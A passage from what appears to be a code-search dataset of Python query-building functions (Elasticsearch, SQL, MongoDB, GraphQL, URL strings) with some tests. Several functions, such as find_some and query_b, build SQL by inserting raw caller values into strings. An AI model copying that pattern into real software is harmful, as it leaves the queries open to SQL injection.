consts.BASE_QUERIES[deck_format]\n color_query = consts.COLOR_QUERIES[colors]\n query_params = consts.QUERIES[deck_format][query_type]['query'] % {'colors': color_query}\n\n full_query = ' '.join([base_query, query_params])\n\n return full_query","def _create_query_str(data):\n params = []\n for name, value in data.items():\n params.append(name + '=' + str(value))\n\n return '?' + '&'.join(params)","def parse_sorted_query(\n model_cls: Type[Model],\n parts: List[str],\n prefixes: Dict = {},\n case_insensitive: bool = True,\n) -> Tuple[query.Query, Sort]:\n # Separate query token and sort token.\n query_parts = []\n sort_parts = []\n\n # Split up query in to comma-separated subqueries, each representing\n # an AndQuery, which need to be joined together in one OrQuery\n subquery_parts = []\n for part in parts + [',']:\n if part.endswith(','):\n # Ensure we can catch \"foo, bar\" as well as \"foo , bar\"\n last_subquery_part = part[:-1]\n if last_subquery_part:\n subquery_parts.append(last_subquery_part)\n # Parse the subquery in to a single AndQuery\n # TODO: Avoid needlessly wrapping AndQueries containing 1 subquery?\n query_parts.append(query_from_strings(\n query.AndQuery, model_cls, prefixes, subquery_parts\n ))\n del subquery_parts[:]\n else:\n # Sort parts (1) end in + or -, (2) don't have a field, and\n # (3) consist of more than just the + or -.\n if part.endswith(('+', '-')) \\\n and ':' not in part \\\n and len(part) > 1:\n sort_parts.append(part)\n else:\n subquery_parts.append(part)\n\n # Avoid needlessly wrapping single statements in an OR\n q = query.OrQuery(query_parts) if len(query_parts) > 1 else query_parts[0]\n s = sort_from_strings(model_cls, sort_parts, case_insensitive)\n return q, s","def filter_query_result(self, result, varenv):\n if isinstance(result, list):\n filter_result = []\n for elem in result:\n # need this pointer to get index results properly sorted.\n elem.list = result\n filter_result.append(self.filter_query_result(elem, varenv))\n elif isinstance(result, dict):\n filter_result = {}\n for key, asked in result.query.original_query.iteritems():\n if key[0] in '@:':\n basekey = key[1:]\n if basekey == 'id':\n filter_result[key] = asked\n # horrible hack to collect up the guids we care about...\n if asked is None:\n varenv.guid_list.append(result[key[0] + 'guid'])\n elif (basekey in QueryPrimitive.directives or\n basekey in QueryPrimitive.special):\n # should we output these?\n filter_result[key] = asked\n elif key[0] == '@' and result.query.get(\n '@optional') and key not in result:\n # XXX here we actually will give you an empty result\n # we could give you nothing at all\n filter_result[key] = None\n elif basekey == 'guid':\n filter_result[key] = result[key]\n elif basekey == 'value':\n # sanitize results.\n filter_result[key] = self.sanitize_value(\n result[key], result[key[0] + 'datatype'], varenv)\n elif basekey in QueryPrimitive.values:\n # this better be what you said!!!\n filter_result[key] = result[key]\n elif basekey == 'index':\n filter_result[key] = self.generate_index_read_result(result)\n elif basekey in QueryPrimitive.pointers:\n # might be direct sub-query or constraint, or query\n if isinstance(asked, dict):\n # sub-query, return it\n filter_result[key] = self.filter_query_result(result[key], varenv)\n else:\n if asked is None:\n # we'll be asking for the id of this thing, not just the guid.\n varenv.lookup_manager.guid_list.append(result[key])\n\n # just give back the guid\n filter_result[key] = result[key]\n elif valid_relname(key):\n # skip optional results we didn't get a value for.\n if result.query.get('@optional') and key not in result:\n # XXX should we give you None as a result rather than leaving it out completely?\n pass\n else:\n # is this a ResultError or an InternalError?\n if key not in result:\n raise MQLInternalError(\n result.query, \"No return result for '%(key)s'\", key=key)\n else:\n filter_result[key] = self.filter_query_result(result[key], varenv)\n\n elif key[0] == '?':\n # it's possible that we didn't find any order information, so give back null in that case\n filter_result[key] = result.get(key, None)\n else:\n raise MQLInternalError(\n result.query,\n \"Didn't expect to see %(key)s in original query while filtering\",\n key=key)\n\n result.filter = filter_result\n elif result is None:\n # there's no result here even though we expected one.\n filter_result = result\n else:\n raise MQLInternalError(\n result.query, \"Didn't understand result\", result=result)\n\n return filter_result","def format_query(query, page):\n from_result = (page - 1) * RESULTS_PER_PAGE\n return json.dumps({\n 'query': {\n 'bool': {\n 'must': {\n 'bool': {\n 'should': [\n {\n 'match': {\n 'name': {\n 'query': query,\n 'minimum_should_match': '2<75%'\n }\n }\n },\n {\n 'match': {\n 'content': {\n 'query': query,\n 'minimum_should_match': '2<75%'\n }\n }\n },\n {'match': {'keywords': query}},\n {'match': {'type': query}}\n ]\n }\n },\n 'should': [\n {'match': {\n 'type': {\n 'query': 'Article',\n 'boost': 10000\n }\n }},\n {'match': {\n 'type': {\n 'query': 'Market',\n 'boost': 10000\n }\n }},\n {'match': {\n 'type': {\n 'query': 'Service',\n 'boost': 20000\n }\n }},\n {'match': {\n 'type': {\n 'query': 'dit:Article',\n 'boost': 10000\n }\n }},\n {'match': {\n 'type': {\n 'query': 'dit:Market',\n 'boost': 10000\n }\n }},\n {'match': {\n 'type': {\n 'query': 'dit:Service',\n 'boost': 20000\n }\n }}\n ],\n 'filter': [\n {'terms': {\n 'type': [\n 'Article',\n 'Opportunity',\n 'Market',\n 'Service',\n 'dit:Article',\n 'dit:Opportunity',\n 'dit:Market',\n 'dit:Service',\n ]\n }}\n ]\n }\n },\n 'from': from_result,\n 'size': RESULTS_PER_PAGE\n })","def test_single(self):\n q = big_query_query.Query()\n q.filter('int', 123)\n q.filter('float', 123.456)\n q.filter('bool', True)\n q.filter('string', 'test\"t\\nest')\n\n self.assertEqual(('(int = 123 AND float = 123.456 AND bool = true AND '\n 'string = \"test\\\\\"t\\\\nest\")'), q.get_where_clause())","def build_query(self):\r\n # build query from base class add required field for joining with parent\r\n query = super().build_query()\r\n query = query.filter(Metric.metric_id == QuantModelMetric.metric_id)\r\n\r\n # get the remaining query parameters\r\n asset_class = request.args.get('asset_class')\r\n model_name = request.args.get('model_name')\r\n pricing_library = request.args.get('pricing_library')\r\n\r\n # process each parameter and, if valid, add as a query condition\r\n if asset_class is not None:\r\n query = query.filter(QuantModelMetric.asset_class == asset_class)\r\n if model_name is not None:\r\n query = query.filter(QuantModelMetric.model_name == model_name)\r\n if pricing_library is not None:\r\n query = query.filter(QuantModelMetric.pricing_library == pricing_library)\r\n return query","def _datetime_to_query(dt):\n timestamp = timegm(dt.timetuple())\n return u\"{whole}.{part:06d}\".format(\n whole=timestamp,\n part=dt.microsecond,\n )","def build(self, pf_query, search_field=\"keywords\"):\n stack = Stack()\n\n if len(pf_query) == 1:\n stack.push(Q('match', **{search_field: pf_query[0][1]}))\n\n for token in pf_query:\n if token in bool_values:\n q1 = stack.pop()\n q2 = stack.pop()\n\n result = q1 & q2 if token == 'AND' else q1 | q2\n stack.push(result)\n else:\n q = None\n if token[0] == 'KEYWORD':\n q = Q('match', **{search_field: token[1]})\n else:\n q = Q('match', **{search_field: \" \".join(token[1])})\n stack.push(q)\n\n return stack.pop()","def get_query(self, minimal: bool = False) -> Optional[str]:\n if minimal:\n return self.minimal_query\n return self.query","def query(db_dir, out_dir, part_l, doc_cols, term_cols,\n docfn=None, termfn=None, countfn=None,\n doc_ind=\"doc_id\", term_ind=\"term_id\", doc_fp=\"doc_%s.csv\",\n term_fp=\"term.csv\", count_fp=\"count_%s.csv\", **kwds):\n\n coord = Coordinator(**kwds)\n\n # prep term id\n term = pd.read_csv(os.path.join(db_dir, term_fp))\n if termfn:\n term = termfn(term, db_dir)\n term_map = term.reset_index(drop=True)\n term_map.index.name = \"term_ind\"\n term_map = term_map.reset_index()\n term_map = term_map.set_index(term_ind)[\"term_ind\"]\n term[\"term_id\"] = term[term_ind].map(term_map)\n if term_cols:\n term = term[term_cols]\n term.to_csv(os.path.join(out_dir, \"term.csv\"), index=False)\n\n # run part query\n coord.map(part_query, part_l, db_dir=db_dir, out_dir=out_dir,\n docfn=docfn, countfn=countfn, doc_cols=doc_cols,\n doc_ind=doc_ind, term_ind=term_ind, term_map=term_map,\n doc_fp=doc_fp, count_fp=count_fp,\n gather=True, pure=False)","def _create_split(last_key, next_key, query):\n if not (last_key or next_key):\n return query\n\n split_query = query_pb2.Query()\n split_query.CopyFrom(query)\n composite_filter = split_query.filter.composite_filter\n composite_filter.op = CompositeFilter.AND\n\n if query.HasField('filter'):\n composite_filter.filters.add().CopyFrom(query.filter)\n\n if last_key:\n lower_bound = composite_filter.filters.add()\n lower_bound.property_filter.property.name = KEY_PROPERTY_NAME\n lower_bound.property_filter.op = PropertyFilter.GREATER_THAN_OR_EQUAL\n lower_bound.property_filter.value.key_value.CopyFrom(last_key)\n\n if next_key:\n upper_bound = composite_filter.filters.add()\n upper_bound.property_filter.property.name = KEY_PROPERTY_NAME\n upper_bound.property_filter.op = PropertyFilter.LESS_THAN\n upper_bound.property_filter.value.key_value.CopyFrom(next_key)\n\n return split_query","def queryGenerator(itemset,venue,min_runs):\n level=len(itemset)\n partners=[[] for k in range(level)]\n for j in range(level):\n for i in range(level):\n partners[i].append({'partner'+str(j+1):itemset[i]})\n k=itemset.pop(0)\n itemset.append(k)\n ors=[]\n for cond in partners:\n ors.append({'$and':cond})\n \n match={}\n match['$or']=ors\n match['total_runs']={'$gte':30}\n if venue:\n match['venue']=venue\n\n return match","def _build_beets_album_query(self, query):\n beets_query = \"\"\n for key in query.keys():\n if key != 'any':\n if key == 'artist':\n beets_query += 'albumartist'\n else:\n beets_query += key\n beets_query += \":\" + \" \".join(query[key]) + \" \"\n logger.info('from %s constructed beets_album_query %s',query,beets_query)\n return '\\'%s\\'' % beets_query.strip()","def build(self) -> str:\n query = \"{Get{\"\n\n for get in self.get_builder:\n query += get.build(wrap_get=False)\n return query + \"}}\"","def process_join(data: JoinedQueryData, verbose: bool) -> str:\n # The collection (sometimes referred to as \"type\" in the docs) to join\n string = 'type:' if verbose else ''\n string += str(data.collection)\n # The fields used to link the two collections\n if (parent := data.field_on) is not None:\n string += f'^on:{parent}'\n if (child := data.field_to) is not None:\n string += f'^to:{child}'\n # Flags\n if (is_list := data.is_list) or verbose:\n string += '^list:' + ('1' if is_list else '0')\n if not (is_outer := data.is_outer) or verbose:\n string += '^outer:' + ('1' if is_outer else '0')\n # Show/hide field lists\n if show := data.show:\n string += '^show:' + '\\''.join(str(s) for s in show)\n elif hide := data.hide:\n string += '^hide:' + '\\''.join(str(s) for s in hide)\n # Inject at name\n if (name := data.inject_at) is not None:\n string += f'^inject_at:{name}'\n # QueryBase terms\n if terms := data.terms:\n string += '^terms:' + '\\''.join(t.serialise() for t in terms)\n # Process nested (inner) joins\n if joins := data.joins:\n string += f'({\",\".join(process_join(j, verbose) for j in joins)})'\n return string","def build_range_clause(field, quantifier, string):\r\n range_str = {}\r\n if quantifier == '<':\r\n range_str['lt'] = string\r\n elif quantifier == '<=':\r\n range_str['lte'] = string\r\n elif quantifier == '>':\r\n range_str['gt'] = string\r\n elif quantifier == '>=':\r\n range_str['gte'] = string\r\n elif quantifier == '!=' or quantifier == '==':\r\n print('Wrong function called for ', quantifier)\r\n return\r\n else:\r\n print('bad quantifier input')\r\n return\r\n answer = {}\r\n tmp = {}\r\n tmp[field] = range_str\r\n answer['range'] = tmp\r\n return answer","def build_fetch_query(last_date):\n fixed_query = demisto.params()[\"fetch_query\"]\n\n if \"WHERE\" in fixed_query:\n fixed_query += \" AND\"\n else:\n fixed_query += \" WHERE\"\n\n fetch_time_field = demisto.params().get(\"fetch_time_field\", \"CreationTime\")\n fetch_query = \"{} `{}` > \\\"{}\\\"\".format(fixed_query, fetch_time_field, last_date)\n return fetch_query","def part_id(self):\n ...","def Select(query):\n party = None\n if query.find('and party') != -1:#it means there is an additional condition added\n pos = query.find('and party')\n party_name = query[(pos + len('and party')):]\n query = query[0:pos]\n party_name = party_name.replace('=', '').replace(\"'\", '')\n party_name = party_name.strip()\n party = acm.FParty[party_name]\n return_result = FRegulatoryUtils.Select(query, \"FContact\", party)\n return return_result","def mkaquery(composed, extra=None):\n if not IComposedQuery.providedBy(composed):\n raise ValueError('query must provide IComposedQuery interface')\n conjunction = {'AND': AdvancedQuery.And,\n 'OR': AdvancedQuery.Or}[composed.interindex_operator]\n queries = {}\n conjunctions = {}\n for qf in composed.filters:\n if qf.index in queries:\n #more than one query to same index\n query = queries[qf.index]\n if isinstance(query, list):\n query.append(aquery_filter(qf))\n else:\n queries[qf.index] = [query, aquery_filter(qf)]\n conjunctions[qf.index] = {'AND': AdvancedQuery.And,\n 'OR': AdvancedQuery.Or}[qf.conjunction]\n else:\n queries[qf.index] = aquery_filter(qf)\n for index in [k for k,v in queries.items() if isinstance(v,list)]:\n intraindex_conjunction = conjunctions[index]\n queries[index] = intraindex_conjunction(*queries[index]) #list->And/Or\n if extra is not None:\n if isinstance(extra, AdvancedQuery._BaseQuery):\n extra = [extra]\n extra = list(extra)\n for q in extra:\n somekey = 'extra%s' % extra.index(q) #unused, but must be unique\n queries[somekey] = q #add query value for use\n return conjunction(*optimize_query_order(queries.values()))","def query_b(geoType,keyCol,**valConstraint):\n query = \"SELECT \" + \"osm_id\"\n for a in keyCol: query+= \",\"+ a \n query += \" FROM \" + geoType + \" WHERE \"\n # If there are values in the dictionary, add constraint clauses\n if valConstraint: \n for a in [*valConstraint]:\n # For each value of the key, add the constraint\n for b in valConstraint[a]: query += a + b\n query+= \" AND \"\n # Always ensures the first key/col provided is not Null.\n query+= \"\"+str(keyCol[0]) +\" IS NOT NULL\" \n return query","def _parse_spec(self, spec):\n operators = ('ne', 'gt', 'gte', 'lt', 'lte', 'in', 'nin', 'mod', 'all', 'size', 'exists', 'not')\n \n new_spec = {}\n for key, value in spec.iteritems():\n elements = key.split('__')\n op = None\n if elements[-1] in operators:\n op = elements.pop()\n\n field_spec, last_field = self.document._meta.resolve_subfield_hierarchy(elements, get_field = True)\n if last_field is not None:\n # TODO value should be properly prepared\n value = last_field.to_query(value)\n\n # TODO \n\n if op is not None:\n value = { \"$%s\" % op : value }\n\n new_spec[\".\".join(field_spec)] = value\n \n return new_spec","def query_join(*query_list):\n return \"&\".join(query_list)","def part(self, part):\n if part is None:\n self.first_part = True\n self.second_part = True\n elif part == 1:\n self.first_part = True\n self.second_part = False\n elif part == 2:\n self.first_part = False\n self.second_part = True\n else:\n raise ValueError","def parse_query(request):\n\n querystring = request.uri['query']\n fp = StringIO(querystring)\n\n headers = {}\n headers['content-type'] = request.message.get('content-type')\n headers['content-length'] = request.message.get('content-length')\n\n environ = {}\n environ['REQUEST_METHOD'] = request.method\n\n boundary = request.message.get('boundary')\n\n query = cgi.FieldStorage( fp = fp\n , headers = headers\n , outerboundary = boundary\n , environ = environ\n , keep_blank_values = True\n , strict_parsing = False\n )\n\n return query","def find_some(self,table,field_list,**query_dict):\n start_sql = 'SELECT '\n sql = ''\n query_sql = ''\n for field in field_list: start_sql += field + ',' \n start_sql = start_sql[0:-1] + ' FROM %s WHERE ' % (table)\n try:\n if query_dict:\n for index in query_dict:\n if not isinstance(query_dict[index],dict): query_sql += \" %s = '%s' and\" % (index,query_dict[index]) \n else: query_sql += \" %s %s '%s' and\" % (index,query_dict[index]['rule'],query_dict[index]['value'])\n sql = (start_sql + query_sql)[0:-3] \n info_list = self.db.query(sql)\n except Exception,e: self.treat_except(e) \n return info_list","def wholeFieldPredicate(field):\n\n if field:\n return (field, )\n else:\n return ()","def test_build_field_query(field, value, expected):\n assert _build_field_query(field, value).to_dict() == expected","def build_query(self):\r\n query = super().build_query()\r\n query = query.filter(Metric.metric_id == MlModelMetric.metric_id)\r\n algorithm = request.args.get('algorithm')\r\n if algorithm is not None:\r\n query = query.filter(MlModelMetric.algorithm == algorithm)\r\n return query","def getFullQuery(self,queryId):\r\n\t\tfields={}\r\n\t\tfields['parametri']=self.getParametri(queryId)\r\n\t\tfields['marchi']=self.getMarchi(queryId)\r\n\t\tfields['potenziali']=self.getPotenziali(queryId)\r\n\t\treturn fields","def __produceBlock(self, qType, qList=None):\n block = \"\"\n first = True\n for query in (qList if not (qList is None) else self.queries[qType]):\n if first:\n block += qType + \":\" + query\n first = False\n else:\n block += self.connectorStrings[\"or\"] + qType + \":\" + query\n return block","def test_build_preservation_query(self):\n preservation_types = list(set([\"foo\", \"bar\"]))\n query = build_preservation_query(preservation_types)\n # TODO: why does this give the preservation type of \"FROZEN\"?\n expected_query = Q(metadata__preservation__iexact=\"FROZEN\")\n # expected_query = {'metadata__preservation__iexact': \"FROZEN\"}\n self.assertEqual(query, expected_query)\n\n preservation_types = list(set([\"foo\", \"frozen\"]))\n query = build_preservation_query(preservation_types)\n expected_query = Q(metadata__preservation__iexact=\"FROZEN\")\n self.assertEqual(query, expected_query)\n\n preservation_types = list(set([\"foo\", \"ffpe\"]))\n query = build_preservation_query(preservation_types)\n # TODO: why does this give the preservation type of \"FFPE\"?\n expected_query = Q(metadata__preservation__iexact=\"FFPE\")\n self.assertEqual(query, expected_query)\n\n preservation_types = list(set([\"foo\", \"FFPE\"]))\n query = build_preservation_query(preservation_types)\n expected_query = Q(metadata__preservation__iexact=\"FFPE\")\n self.assertEqual(query, expected_query)\n\n preservation_types = list(set([\"frozen\", \"ffpe\"]))\n query = build_preservation_query(preservation_types)\n expected_query = Q(metadata__preservation__iexact=\"FFPE\")\n self.assertEqual(query, expected_query)\n\n preservation_types = list(set([\"frozen\", \"FFPE\"]))\n query = build_preservation_query(preservation_types)\n expected_query = Q(metadata__preservation__iexact=\"FFPE\")\n self.assertEqual(query, expected_query)\n\n preservation_types = list(set([\"FROZEN\", \"ffpe\"]))\n query = build_preservation_query(preservation_types)\n expected_query = Q(metadata__preservation__iexact=\"FFPE\")\n self.assertEqual(query, expected_query)\n\n preservation_types = list(set([\"FROZEN\", \"FFPE\"]))\n query = build_preservation_query(preservation_types)\n expected_query = Q(metadata__preservation__iexact=\"FFPE\")\n self.assertEqual(query, expected_query)\n\n preservation_types = list(set([\"FFPE\"]))\n query = build_preservation_query(preservation_types)\n expected_query = Q(metadata__preservation__iexact=\"FFPE\")\n self.assertEqual(query, expected_query)\n\n preservation_types = list(set([\"ffpe\"]))\n query = build_preservation_query(preservation_types)\n expected_query = Q(metadata__preservation__iexact=\"FFPE\")\n self.assertEqual(query, expected_query)\n\n preservation_types = list(set([\"frozen\"]))\n query = build_preservation_query(preservation_types)\n expected_query = Q(metadata__preservation__iexact=\"FROZEN\")\n self.assertEqual(query, expected_query)\n\n preservation_types = list(set([\"Frozen\"]))\n query = build_preservation_query(preservation_types)\n expected_query = Q(metadata__preservation__iexact=\"FROZEN\")\n self.assertEqual(query, expected_query)\n\n preservation_types = list(set([\"FROZEN\"]))\n query = build_preservation_query(preservation_types)\n expected_query = Q(metadata__preservation__iexact=\"FROZEN\")\n self.assertEqual(query, expected_query)","def get_query(self):\r\n\r\n split = self.path_s.split(\"?\", 1)\r\n if len(split) == 1: return \"\"\r\n else: return split[1]","def _prepare_query(\n self,\n string: str,\n *,\n rank: bool = True,\n exact_match: bool = False,\n fuzziness: str = 'AUTO',\n prefix_length: int = 0,\n max_expansions: int = 50,\n transpositions: bool = True,\n ) -> Dict[str, Any]:\n if exact_match:\n query_body = {\n 'match': {\n 'term': string\n }\n }\n else:\n query_body = {\n 'fuzzy': {\n 'term': {\n 'value': string,\n 'fuzziness': fuzziness,\n 'prefix_length': prefix_length,\n 'max_expansions': max_expansions,\n 'transpositions': transpositions,\n }\n }\n }\n\n query = {'sort': [{'_score': 'desc'}]} if rank else {}\n query.update({'query': query_body})\n return query","def get_query():\n query = \"\"\"{\n repository(name: \"flux\", owner: \"fluxcd\") {\n forkCount\n issues {\n totalCount\n }\n pullRequests {\n totalCount\n }\n releases {\n totalCount\n }\n stargazers {\n totalCount\n }\n watchers {\n totalCount\n }\n }\n}\n \"\"\"\n return query","def get_query_fields(cls):\n ...","def _query_fields(data):\n keys = data.keys() # Do this once to avoid any issue with dictionary order.\n column_fields = ', '.join(keys)\n value_fields = ', '.join('%({})s'.format(field) for field in keys)\n return column_fields, value_fields","def make_query(self, query, data: Dict):\n return query.format_map(data)","def create_query_sting(param_dict):\n params = \"&\".join([f\"{key}={value}\" for key, value in param_dict.items()])\n return params.replace(\"#\", \"%23\")","def build_phone_match_clause_inner(field, string):\r\n answer = build_phone_match_clause(field, string)\r\n answer['meta'] = ['inner']\r\n return answer","def _create_query_string(self, query):\n # Check for a result type, if none found, set it to default.\n result_type = query.result_type\n if not result_type:\n result_type = self.default_result_type\n\n # Check to if the result type is valid\n if result_type not in RESULT_TYPES:\n raise QueryParamException(self.name, \"Engine doesn't support query result type '{0}'\"\n .format(query.result_type))\n\n search_params = {'result_type': result_type,\n 'q': query.terms}\n\n query_append = \"search?q={}&type={}&access_token={}\".format\\\n (search_params['q'], search_params['result_type'], self.api_key)\n\n return API_ENDPOINT + encode_symbols(query_append)","def test_get_part(self):\n pass","def _gen_cat_query(self,query_fields=None):\n if query_fields is None:\n object_id_fields = ['decals_id','brick_primary','brickid','ra','dec','gaia_pointsource']\n mag_fields = ['mag_g','mag_r','mag_z','mag_w1','mag_w2','mag_w3','mag_w4']\n snr_fields = ['snr_g','snr_r','snr_z','snr_w1','snr_w2','snr_w3','snr_w4']\n query_fields = object_id_fields+mag_fields+snr_fields\n \n database = \"ls_dr7.tractor\"\n self.query = dlsurvey._default_query_str(query_fields, database, self.coord, self.radius)","def es_query_proto(path, selects, wheres, schema):\n output = None\n last_where = MATCH_ALL\n for p in reversed(sorted( wheres.keys() | set(selects.keys()))):\n where = wheres.get(p)\n select = selects.get(p)\n\n if where:\n where = AndOp(where).partial_eval().to_esfilter(schema)\n if output:\n where = es_or([es_and([output, where]), where])\n else:\n if output:\n if last_where is MATCH_ALL:\n where = es_or([output, MATCH_ALL])\n else:\n where = output\n else:\n where = MATCH_ALL\n\n if p == \".\":\n output = set_default(\n {\n \"from\": 0,\n \"size\": 0,\n \"sort\": [],\n \"query\": where\n },\n select.to_es()\n )\n else:\n output = {\"nested\": {\n \"path\": p,\n \"inner_hits\": set_default({\"size\": 100000}, select.to_es()) if select else None,\n \"query\": where\n }}\n\n last_where = where\n return output"],"string":"[\n \"def __generateQuery(self, query):\\n if query == None:\\n return [\\\"1=1\\\"]\\n elif type(query) is not list:\\n return [query]\\n else:\\n return query\",\n \"def make_complex_query_set(self):\\n\\n query = self.request.GET.get(\\\"q\\\")\\n program_id = self.request.META.get('HTTP_X_SVMS_PROGRAM_ID')\\n category = self.request.GET.get(\\\"category\\\")\\n title = self.request.GET.get(\\\"title\\\")\\n level = self.request.GET.get(\\\"level\\\")\\n description = self.request.GET.get(\\\"description\\\")\\n status = self.request.GET.get(\\\"status\\\")\\n job_tag = self.request.GET.get(\\\"job_tag\\\")\\n\\n q_object = Q()\\n\\n if query:\\n q_object.add((\\n Q(program_id=query) |\\n Q(category=query) |\\n Q(title__icontains=query) |\\n #Q(category__category_name__icontains=query) |\\n Q(description__icontains=query) |\\n Q(job_tag__tag__in=str(query).split(\\\",\\\"))\\n ), Q.OR)\\n\\n if query.isnumeric():\\n q_object.add(\\n Q(level__icontains=int(query)), Q.OR)\\n\\n q_object.add(Q(status=strtobool(query)), Q.OR) if query in [\\n \\\"true\\\", \\\"True\\\", \\\"False\\\", \\\"false\\\"] else None\\n\\n else:\\n if program_id:\\n q_object.add(\\n Q(program_id=program_id),\\n Q.AND)\\n\\n if category:\\n q_object.add(\\n Q(category=category),\\n Q.AND)\\n if title:\\n q_object.add(\\n Q(title__icontains=title),\\n Q.AND)\\n\\n if description:\\n q_object.add(\\n Q(description__icontains=description), Q.AND)\\n\\n if job_tag:\\n q_object.add(\\n Q(job_tag__tag__in=str(job_tag).split(\\\",\\\")),\\n Q.AND)\\n\\n if level:\\n if level.isnumeric():\\n q_object.add(\\n Q(level__icontains=int(level)),\\n Q.AND)\\n else:\\n raise Exception(\\n ErrorMessage.WRONG_FIELD_TYPE.value.format(\\\"level\\\",\\n \\\"numeric\\\"))\\n\\n q_object.add(Q(status=strtobool(status)), Q.AND) if status in [\\n \\\"true\\\", \\\"True\\\", \\\"False\\\", \\\"false\\\"] else None\\n\\n return q_object\",\n \"def _build_query(self, **query):\\n\\n available_fields = list(self.model._available_fields.keys())\\n\\n q_str = ''\\n for key, val in list(query.items()):\\n # Get the field and the operator from the query\\n key_field, key_sep, key_oper = key.partition('__')\\n\\n if key_field == 'pk' and 'id' not in query:\\n key_field = 'id'\\n\\n if key_field in available_fields:\\n if q_str != '':\\n q_str += ' AND '\\n\\n if_cstm = ''\\n if key_field.endswith('_c'):\\n if_cstm = '_cstm'\\n\\n field = self.model._table + if_cstm + '.' + key_field\\n\\n if key_oper in ('exact', 'eq') or (not key_oper and not key_sep):\\n q_str += '%s = \\\"%s\\\"' % (field, val)\\n elif key_oper == 'contains':\\n q_str += '%s LIKE \\\"%%%s%%\\\"' % (field, val)\\n elif key_oper == 'startswith':\\n q_str += '%s LIKE \\\"%s%%\\\"' % (field, val)\\n elif key_oper == 'in':\\n q_str += '%s IN (' % field\\n for elem in val:\\n q_str += \\\"'%s',\\\" % elem\\n q_str = q_str.rstrip(',')\\n q_str += ')'\\n elif key_oper == 'gt':\\n q_str += '%s > \\\"%s\\\"' % (field, val)\\n elif key_oper == 'gte':\\n q_str += '%s >= \\\"%s\\\"' % (field, val)\\n elif key_oper == 'lt':\\n q_str += '%s < \\\"%s\\\"' % (field, val)\\n elif key_oper == 'lte':\\n q_str += '%s <= \\\"%s\\\"' % (field, val)\\n else:\\n raise LookupError('Unsupported operator')\\n\\n return q_str\",\n \"def parse_query_part(\\n part: str,\\n query_classes: Dict = {},\\n prefixes: Dict = {},\\n default_class: Type[query.SubstringQuery] = query.SubstringQuery,\\n) -> Tuple[Optional[str], str, Type[query.Query], bool]:\\n # Apply the regular expression and extract the components.\\n part = part.strip()\\n match = PARSE_QUERY_PART_REGEX.match(part)\\n\\n assert match # Regex should always match\\n negate = bool(match.group(1))\\n key = match.group(2)\\n term = match.group(3).replace('\\\\\\\\:', ':')\\n\\n # Check whether there's a prefix in the query and use the\\n # corresponding query type.\\n for pre, query_class in prefixes.items():\\n if term.startswith(pre):\\n return key, term[len(pre):], query_class, negate\\n\\n # No matching prefix, so use either the query class determined by\\n # the field or the default as a fallback.\\n query_class = query_classes.get(key, default_class)\\n return key, term, query_class, negate\",\n \"def build_query_structure(self):\\n query_list = list()\\n filter_list = list()\\n for key, val in self.q_dict.items():\\n if key in self.es_query_keys:\\n query_list.append(\\n {\\\"match\\\": {\\\".\\\".join(key.split(\\\"_\\\")): val[0]}})\\n elif key in self.es_date_keys:\\n filter_list.append(\\n {\\\"range\\\": {\\\".\\\".join(key.split(\\\"_\\\")): val}})\\n elif \\\":\\\" in val[0]:\\n #for handling queries like dd_dct=gte:1\\n range_val = val[0].split(\\\":\\\")\\n filter_list.append({\\\"range\\\": {\\\".\\\".join(key.split(\\\"_\\\")): {\\n range_val[0]: int(range_val[1])}}})\\n else:\\n filter_list.append(\\n {\\\"terms\\\": {\\\".\\\".join(key.split(\\\"_\\\")): val}})\\n return query_list, filter_list\",\n \"def _get_query_part(params: dict) -> str:\\n params_cleaned = {k: v for k, v in params.items() if v is not None}\\n return ('?' + urlencode(params_cleaned, quote_via=quote, safe=\\\"/,\\\")) if params_cleaned else \\\"\\\"\",\n \"def make_complex_query_set(self):\\n\\n query = self.request.GET.get(\\\"q\\\")\\n category_name = self.request.GET.get(\\\"category_name\\\")\\n o_net_soc_code = self.request.GET.get(\\\"o_net_soc_code\\\")\\n description = self.request.GET.get(\\\"description\\\")\\n job_title = self.request.GET.get(\\\"job_title\\\")\\n level = self.request.GET.get(\\\"level\\\", '')\\n\\n q_object = Q()\\n\\n if query:\\n q_object.add((\\n Q(category__category_name__icontains=query) |\\n Q(category__o_net_soc_code__icontains=query) |\\n Q(category__description__icontains=query) |\\n Q(category__job_title__description__icontains=query) |\\n Q(category__job_title__title__icontains=query)\\n ), Q.OR)\\n\\n if query.isnumeric():\\n q_object.add(\\n Q(category__job_title__level__icontains=int(query)), Q.OR)\\n\\n else:\\n if category_name:\\n q_object.add(\\n Q(category__category_name__icontains=category_name),\\n Q.AND)\\n\\n if o_net_soc_code:\\n q_object.add(\\n Q(category__o_net_soc_code__icontains=o_net_soc_code),\\n Q.AND)\\n\\n if description:\\n q_object.add((\\n Q(category__description__icontains=description) |\\n Q(\\n category__job_title__description__icontains=description)\\n ), Q.AND)\\n\\n if job_title:\\n q_object.add(\\n Q(category__job_title__title__icontains=job_title),\\n Q.AND)\\n\\n if level:\\n if level.isnumeric():\\n q_object.add(\\n Q(category__job_title__level__icontains=int(level)),\\n Q.AND)\\n else:\\n raise Exception(\\n ErrorMessage.WRONG_FIELD_TYPE.value.format(\\\"level\\\",\\n \\\"numeric\\\"))\\n\\n return q_object\",\n \"def renderPartition(*args, q=True, query=True, **kwargs)->Union[AnyStr, Any]:\\n pass\",\n \"def __make_sel(selection):\\n sel = []\\n param = []\\n for key, value in selection.iteritems(): \\n if key == \\\"fn\\\":\\n if value.find('%') >= 0:\\n sel.append(\\\"irods_filepath like %s\\\")\\n else:\\n sel.append(\\\"irods_filepath = %s\\\")\\n elif key == \\\"expid\\\":\\n sel.append(\\\"exper_id = %s\\\".format(value))\\n elif key == 'runnum':\\n sel.append(\\\"runnum = %s\\\".format(value))\\n elif key == 'status' and value:\\n sel.append(\\\"status = %s\\\")\\n else:\\n continue\\n param.append(value)\\n\\n q = \\\"WHERE {}\\\".format(\\\" AND \\\".join(sel)) if sel else \\\"\\\"\\n return q, param\",\n \"def part_query(part, db_dir, out_dir, docfn, countfn, doc_cols,\\n doc_ind, term_ind, term_map, doc_fp, count_fp):\\n\\n # handle docs\\n doc = pd.read_csv(os.path.join(db_dir, doc_fp % part))\\n if docfn:\\n doc = docfn(doc, part, db_dir)\\n doc_map = doc.reset_index(drop=True)\\n doc_map.index.name = \\\"doc_ind\\\"\\n doc_map = doc_map.reset_index()\\n doc_map = doc_map.set_index(doc_ind)[\\\"doc_ind\\\"]\\n doc[\\\"doc_id\\\"] = doc[doc_ind].map(doc_map)\\n if doc_cols:\\n doc = doc[doc_cols]\\n doc.to_csv(os.path.join(out_dir, doc_fp % part), index=False)\\n\\n # handle 